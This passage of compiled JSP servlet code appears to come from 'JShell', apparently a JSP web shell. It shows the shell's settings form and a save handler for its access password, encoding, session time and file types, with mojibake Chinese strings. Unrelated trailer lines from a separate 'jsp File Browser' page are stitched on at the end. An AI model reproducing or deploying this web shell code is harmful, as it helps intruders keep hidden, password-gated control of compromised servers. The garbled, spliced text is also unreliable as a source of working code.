out.write("\t\t\t\t\t\t\t<option value=\""); out.print(_textFileTypes[i]); out.write('"'); out.write('>'); out.print(_textFileTypes[i]); out.write("</option>\r\n"); } out.write("\r\n"); out.write("\t\t\t\t\t\t</select>\r\n"); out.write("\t\t\t\t\t</td>\r\n"); out.write("\t\t\t\t</tr>\r\n"); out.write("\t\t\t</table>\r\n"); out.write("\t\t</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\" colspan=\"2\"><input type=\"submit\" value=\"ä¿?å?\" class=\"button\" /></td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t</form>\r\n"); out.write("</table>\r\n"); } else if (cfAction.equals("save")) { if (request.getParameter("password") == null || request.getParameter("encode") == null || request.getParameter("sessionTime") == null || request.getParameterValues("textFileTypes") == null) { response.sendRedirect(request.getRequestURI()); } String result = ""; String newPassword = request.getParameter("password").trim(); String newEncodeType = request.getParameter("encode").trim(); String newSessionTime = request.getParameter("sessionTime").trim(); String[] newTextFileTypes = request.getParameterValues("textFileTypes"); String jshellPath = request.getRealPath(request.getServletPath()); try { JshellConfig jconfig = new JshellConfig(jshellPath); jconfig.setPassword(newPassword); jconfig.setEncodeType(newEncodeType); jconfig.setSessionTime(newSessionTime); jconfig.setTextFileTypes(newTextFileTypes); jconfig.save(); result += "设置ä¿?å?æ??å??ï¼?æ£å?¨è¿?å??ï¼?请ç¨?å??â?¦â?¦"; result += "<meta http-equiv=\"refresh\" content=\"2;url=" + request.getRequestURI() + "?action=" + request.getParameter("action") + "\">"; } catch (JshellConfigException e) { result = "<font color=\"red\">" + e.getMessage() + "</font>"; } out.write("\r\n"); out.write("<table align=\"center\" width=\"600\" border=\"0\" cellpadding=\"2\" cellspacing=\"1\" bgcolor=\"#CCCCCC\">\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td>"); out.print(result == "" ? " " : result); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("</table>\r\n"); } ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //========================================================================================== // end of config form } else if (action.equals("about")) { // start of about //========================================================================================== out.write('\r'); out.write('\n'); //========================================================================================== } } out.write("\r\n"); out.write("</body>\r\n"); out.write("</html>\r\n"); } catch (Throwable t) { if (!(t instanceof SkipPageException)){ out = _jspx_out; if (out != null && out.getBufferSize() != 0) try { out.clearBuffer(); } catch (java.io.IOException e) {} if (_jspx_page_context != null) _jspx_page_context.handlePageException(t); else log(t.getMessage(), t); } } finally { _jspxFactory.releasePageContext(_jspx_page_context); } } }
Ms-Dos/Windows
Unix
Write backup
jsp File Browser version 1.2 by
www.vonloesch.de